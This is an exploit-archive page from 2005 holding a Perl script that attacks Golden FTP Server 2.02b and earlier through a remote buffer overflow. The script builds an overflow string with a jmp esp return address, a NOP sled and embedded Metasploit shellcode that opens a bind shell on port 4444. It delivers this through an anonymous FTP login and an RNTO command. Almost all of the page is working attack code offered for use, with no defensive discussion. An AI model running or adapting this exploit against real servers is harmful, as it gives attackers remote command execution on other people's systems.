Golden FTP Server <= 2.02b Remote Buffer Overflow Exploit

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Golden FTP Server <= 2.02b Remote Buffer Overflow Exploit
# Published : 2005-01-22
# Author : Barabas
# Previous Title : Apple iTunes Playlist Buffer Overflow Download Shellcoded Exploit
# Next Title : Veritas Backup Exec Agent 8.x/9.x Browser Overflow (c version)

#!/usr/bin/perl -w
# Barabas - www.whitehat.co.il -
# cheers to muts and all peeps at WH.
# XPSP2 goldenftpserver sploit - bind 4444

use strict;
use Net::FTP;
my $payload="x41"x260;
$payload .="x65x82xa5x7c";#jmpesp
$payload .="x90"x32;#not really necessary...blah
# win32_bind - EXITFUNC=seh LPORT=4444 Size=321 Encoder=None http://metasploit.com
$payload .="xfcx6axebx4fxe8xf9xffxffxffx60x8bx6cx24x24x8bx45".
"x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01xebxe3".
"x30x49x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07xc1".
"xcax0dx01xc2xebxf4x3bx54x24x28x75xe3x8bx5fx24x01".
"xebx66x8bx0cx4bx8bx5fx1cx01xebx03x2cx8bx89x6cx24".
"x1cx61xc3x31xc0x64x8bx40x30x8bx40x0cx8bx70x1cxad".
"x8bx40x08x5ex68x8ex4ex0execx50xffxd6x31xdbx66x53".
"x66x68x33x32x68x77x73x32x5fx54xffxd0x68xcbxedxfc".
"x3bx50xffxd6x5fx89xe5x66x81xedx08x02x55x6ax02xff".
"xd0x68xd9x09xf5xadx57xffxd6x53x53x53x53x53x43x53".
"x43x53xffxd0x66x68x11x5cx66x53x89xe1x95x68xa4x1a".
"x70xc7x57xffxd6x6ax10x51x55xffxd0x68xa4xadx2exe9".
"x57xffxd6x53x55xffxd0x68xe5x49x86x49x57xffxd6x50".
"x54x54x55xffxd0x93x68xe7x79xc6x79x57xffxd6x55xff".
"xd0x66x6ax64x66x68x63x6dx89xe5x6ax50x59x29xccx89".
"xe7x6ax44x89xe2x31xc0xf3xaaxfex42x2dxfex42x2cx93".
"x8dx7ax38xabxabxabx68x72xfexb3x16xffx75x44xffxd6".
"x5bx57x52x51x51x51x6ax01x51x51x55x51xffxd0x68xad".
"xd9x05xcex53xffxd6x6axffxffx37xffxd0x8bx57xfcx83".
"xc4x64xffxd6x52xffxd0x68xf0x8ax04x5fx53xffxd6xff".
"xd0";

my $ftp = Net::FTP->new("127.0.0.1", Debug => 1);
$ftp->login("ftp","ftp");
$ftp->quot("RNTO",$payload); 

# www.Syue.com [2005-01-22]